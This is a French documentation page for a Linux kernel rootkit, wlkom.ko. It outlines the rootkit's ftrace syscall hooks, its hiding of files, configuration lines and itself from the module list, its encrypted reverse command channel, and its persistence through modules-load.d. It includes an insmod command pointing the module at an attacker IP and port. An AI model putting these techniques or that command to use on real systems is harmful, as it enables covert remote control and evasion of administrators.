Rootkit
Cette section documente wlkom.ko: son organisation, ses paramètres, ses hooks ftrace, son thread réseau, ses commandes, son masquage et sa persistance.
Vue d'ensembleInit module, paramètres, hooks, thread réseau et dossier caché.Choix du noyauPourquoi Ubuntu 22.04,
5.15.0-171-generic, ftrace et vermagic.FonctionnalitésConnexion, mot de passe, commandes, transferts, persistance et masquage.Canal reverseThread réseau, handshake, prompts, commandes et transferts chunkés.Hooks et masquageftrace, getdents, read, dirent, noms cachés et limites.Actions userland/bin/sh, call_usermodehelper, fichiers temporaires, upload/download et screenshot.Références techniquesSyscalls, ftrace, kprobes, kthreads, credentials, sockets et crypto.ChiffrementFNV-1a, XOR de flux, offsets TX/RX et déchiffrement Wireshark.Point d'entrée
Chargement manuel:
sudo insmod wlkom.ko attacker_ip=192.168.100.1 command_port=4444 password='secret'
Sans mot de passe, le module refuse de démarrer. Avec un mot de passe valide, il dérive la clé de session, installe ses hooks ftrace, crée /opt/wlkom_data, démarre le thread réseau et se masque de la liste des modules.
À retenir
- Le masquage de listings passe par
getdentsetgetdents64. - Le blocage d'accès direct passe par
openat,openat2,newfstatat,statx,access,faccessat,readlinkatetunlinkat. - Le masquage des lignes de configuration passe par
read,pread64etreadv.mmapest refusé pour ces fichiers. - Les hooks de syscalls passent par
ftrace, avec modification deregisters->ip. - Le canal reverse est une boucle commande/réponse chiffrée, pas un TTY complet.
- Les actions complexes sont déléguées à userland via
/bin/shetcall_usermodehelper. - La persistance est installée par
freecloude.sh, puis relancée parmodules-load.detmodprobe.d. - Le canal TCP est chiffré dès la bannière avec une clé dérivée du mot de passe.
La page de secours quand un mot kernel devient flou est Références techniques.